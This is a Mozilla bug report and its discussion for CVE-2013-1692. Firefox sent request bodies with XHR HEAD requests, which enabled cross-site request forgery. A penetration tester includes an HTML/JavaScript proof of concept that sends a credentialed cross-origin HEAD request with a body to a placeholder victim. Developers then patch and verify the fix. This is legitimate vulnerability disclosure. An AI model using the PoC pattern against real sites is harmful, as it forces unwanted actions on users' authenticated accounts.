Closed Bug 866915 (CVE-2013-1692) Opened 11 years ago Closed 11 years ago

Do not send data XHR HEAD request

Categories

(Core :: DOM: Core & HTML, defect)

20 Branch
x86
macOS
defect
Not set
normal

Tracking

()

VERIFIED FIXED
mozilla24
Tracking Status
firefox20 --- wontfix
firefox21 --- wontfix
firefox22 + verified
firefox23 + verified
firefox24 --- verified
firefox-esr17 22+ verified
b2g18 22+ fixed
b2g18-v1.0.0 --- wontfix
b2g18-v1.0.1 --- affected

People

(Reporter: jkuskos, Assigned: smaug)

Details

(Keywords: sec-high, Whiteboard: [adv-main22+][adv-esr1707+])

Attachments

(4 files)

Attached image RequestResponse.png
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31

Steps to reproduce:

During a penetration test for a client, I found that CSRF was possible on a piece of their functionality when sent as a HEAD.  In the latest version of chrome, they send a preflight request for this HEAD request, but Firefox 20 is not.  I will attach the Request and Response with the sensitive client information omitted.  My CSRF Proof of Concept has xmlhttp.withCredentials = true;.  

I've supplied two things to you, the code that allowed for my exploit to work, as well as the request response pair that happens when the request is sent.  I've omitted sensitive information about the application this worked on because I do not own it, but if needed I'll try to spin up an environment that is similar to what I'm working on to recreate it.  Since I can only upload one file, I'm going to paste my Proof of Concept code here, and attach an image of the actual exploit taking place after the form request was made.


<!-- 
Johnathan Kuskos

This file is psuedocode for a successful CSRF I was able to exploit for a client.
The file was hosted on my personal site at malfiles.jkuskos.com and targetted a URL that i've renamed "example.com" for sake of my client's privacy.  I will attempt to supply as much information as I can, as I believe that a PreFlight request should not have allowed this to take place in Firefox 20.0.  
-->

<!DOCTYPE html>
<html>
<head>
<script>
function loadXMLDocHEAD()
{
var xmlhttp;
if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xmlhttp=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
xmlhttp.onreadystatechange=function()
  {
  if (xmlhttp.readyState==4 && xmlhttp.status==200 || xmlhttp.status==302)
    {
    document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
    }
  }

var url = "https://example.com";//true victim omitted
var params = "body=";//true parameters omitted
xmlhttp.withCredentials = true;
xmlhttp.open("HEAD", url,true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(params);
}


</script>
</head>
<body>


<h1>HEAD request</h1>
<button type="button" onclick="loadXMLDocHEAD()">Send HEAD</button>
<div id="myDiv"></div>

</body>
</html>





Actual results:

The CORS request was successfully sent.


Expected results:

A Preflight request should have first sent an options request to check for if the HTTP verb was allowed, as specified here:  https://developer.mozilla.org/en-US/docs/HTTP/Access_control_CORS#Preflighted_requests
Flags: sec-bounty?
Component: Untriaged → DOM: Core & HTML
Product: Firefox → Core
If we are violating the spec here this is probably sec-moderate or sec-high since we're potentially contributing to CSRF attacks on sites that wouldn't be allowed without the XS-XHR feature. Can I get Anne or Olli to opine here?
Status: UNCONFIRMED → NEW
Ever confirmed: true
Keywords: sec-high
HEAD is a simple method so can be done without preflight: http://www.w3.org/TR/cors/#simple-method This is an exception to type of requests that can be made with <form>, but it was a conscious one.
Note that per http://xhr.spec.whatwg.org/#the-send%28%29-method the data passed to send() is ignored for HEAD / GET. Are we ignoring that requirement maybe?
Looking at steps 3 and 4 of the send() method, it appears to be what I encountered.  Even though  the request verb was HEAD, "data" did not get set to null, and the request body was successfully included.
(It also seems like a bug that Chrome does a preflight for HEAD. I guess once we figure out if there's a bug here we should clarify what the standard should say with each other.)
Backtracking a bit to preflight, I think the issue is that yes, HEAD is a simple method.  However, withCredentials=true.  Because withCredentials=true, regardless of if HEAD is simple or not, a preflight must go out so that the browser isn't contributing to CSRF.  If the application doesn't respond with the appropriate headers to be used in preflight, that's the application's fault. 

As it currently stands, I would just use Firefox as my exploit browser for this type of CSRF vulnerability where verb tampering is allowed.  I'll be spending today doing some research on this, but I believe Chrome is sending a preflight because withCredentials=true, and not because it's just a HEAD method.
Credentials has no bearing on this. Even without credentials it'd still be considered problematic (if considered problematic to begin with) for intranets.
So is the bug here that we send data with HEAD?
Should the spec whitelist the cases when data should be sent?
http://xhr.spec.whatwg.org/#the-send%28%29-method is pretty clear it should only be possible to be non-null when the request method is not HEAD or GET, no?
Assignee: nobody → bugs
Attachment #746622 - Flags: review?(jonas)
Comment on attachment 746622 [details] [diff] [review]
no data with head

Review of attachment 746622 [details] [diff] [review]:
-----------------------------------------------------------------

Tests needed though.
Attachment #746622 - Flags: review?(jonas) → review+
Comment on attachment 746622 [details] [diff] [review]
no data with head

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
Well, the problem is obvious

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
The check-in comment should be about updating implementation to follow the XHR spec

Which older supported branches are affected by this flaw?
All

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
The patch should apply everywhere.

How likely is this patch to cause regressions; how much testing does it need?
Probably not too regression risky, but hard to say if some website is doing odd Gecko only XHR handling.
Attachment #746622 - Flags: sec-approval?
Attachment #746622 - Flags: approval-mozilla-esr17?
Attachment #746622 - Flags: approval-mozilla-b2g18?
Attachment #746622 - Flags: approval-mozilla-aurora?
This doesn't look to be a respin 21 driver as it's only sec-high so marking wontfix there, we can look at uplift to FF22 once sec-approval is evaluated.
Comment on attachment 746622 [details] [diff] [review]
no data with head

I think this is ok for m-c right now. It is a sec-high but not the most dangerous thing in the world right now. sec-approval+.
Attachment #746622 - Flags: sec-approval? → sec-approval+
Since progress is being made on this, may I ask when an acceptable time would be to disclose this to other security researchers?
This isn't going to make it into the release tomorrow so our preference would be to keep it quiet until we can issue the fix in six weeks with Firefox 22.

But does the change we make fix the problem you see? We're still not doing a pre-flight request which we think is correct according to the spec. We were sending a body incorrectly but that may not be the cause of your CSRF.
If the body is always nulled out for a head request, I do believe that this would no longer be a problem. I initially thought that the behavior might have been a preflight issue because the mozilla documentation I referenced in my original report stated "methods other than GET or POST" as being necessary for preflight, however Anne mentioned that was a conscious implementation.  

The cause of my CSRF works in two parts.
1) The browser allowed me to send it cross origin.
2) The application accepted it and processed it as a POST.

Part 2 is the fault of the application.  Part 1 wouldn't be possible if the body is null because the application would then treat it as a GET, which is an allowed simple method and doesn't require preflight.  I don't see how this could further be exploited with a nulled body as a HEAD request.  

Thanks for the input on disclosure.  I have a blog post drafted but will sit on it until the fix is live.
Attachment #746622 - Flags: approval-mozilla-esr17?
Attachment #746622 - Flags: approval-mozilla-esr17+
Attachment #746622 - Flags: approval-mozilla-beta+
Attachment #746622 - Flags: approval-mozilla-b2g18?
Attachment #746622 - Flags: approval-mozilla-b2g18+
Attachment #746622 - Flags: approval-mozilla-aurora?
Attachment #746622 - Flags: approval-mozilla-aurora+
https://hg.mozilla.org/mozilla-central/rev/8df06e62ea12
Status: NEW → RESOLVED
Closed: 11 years ago
Flags: in-testsuite?
Resolution: --- → FIXED
Target Milestone: --- → mozilla24
Flags: sec-bounty? → sec-bounty+
I'm not seeing any difference in headers between Firefox 21 and 22 when using the reporter's testcase (I'm using the HTTPFox add-on for seeing the headers).

What should the differences be? Or am I not looking in the right place?
Attached image ff22 beta behavior
Here's a new test page that I've been using http://malfiles.jkuskos.com/xhr.html

I checked the FF22 beta to see if this is fixed, and it looks to me like a head request is still being made with post data the first time a page that contains the request is loaded.  It won't be made on repeated visits to the same resource after that, but if the cache is cleared, it will be made again.

In this traffic history, #103 is my first request, which then sends a head request with post data.  #105, #106, and #109 are more requests to the same resource.  After #109, I clear my cache and request the page again, which then sends a head request with post data.
Whiteboard: [adv-main22+][adv-esr1707+]
Johnathan, referring to comment 26, I can't reproduce this behavior post-patch. Can you try again with a later build?

I can easily see the problem in builds of FF21/FF22 pre-patch.

I've confirmed that no headers are sent with an XHR HEAD request using the following builds:

FF17esr 2013-06-18
FF22 2013-05-25
FF23 2013-05-25
FF24 2013-06-13
Status: RESOLVED → VERIFIED
Whiteboard: [adv-main22+][adv-esr1707+]
Whiteboard: [adv-main22+][adv-esr1707+]
For developers and security folks - we'll need to accurately describe this issue in an advisory. I think that we've learned that the issue isn't the lack of a preflight request, but rather that we shouldn't be sending data in an XHR HEAD request.

Clarifications welcomed.
The summary in comment 28 seems accurate to me.
Alias: CVE-2013-1692
Summary: No XHR Preflight request in Firefox 20 for a HEAD request during a CSRF proof of concept. → Do not send data XHR HEAD request
Matt, In the version of the FF22 beta that's available at http://www.mozilla.org/en-US/firefox/beta/ I'm not seeing this behavior anymore.
Great news, Johnathan - thanks!
Group: core-security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: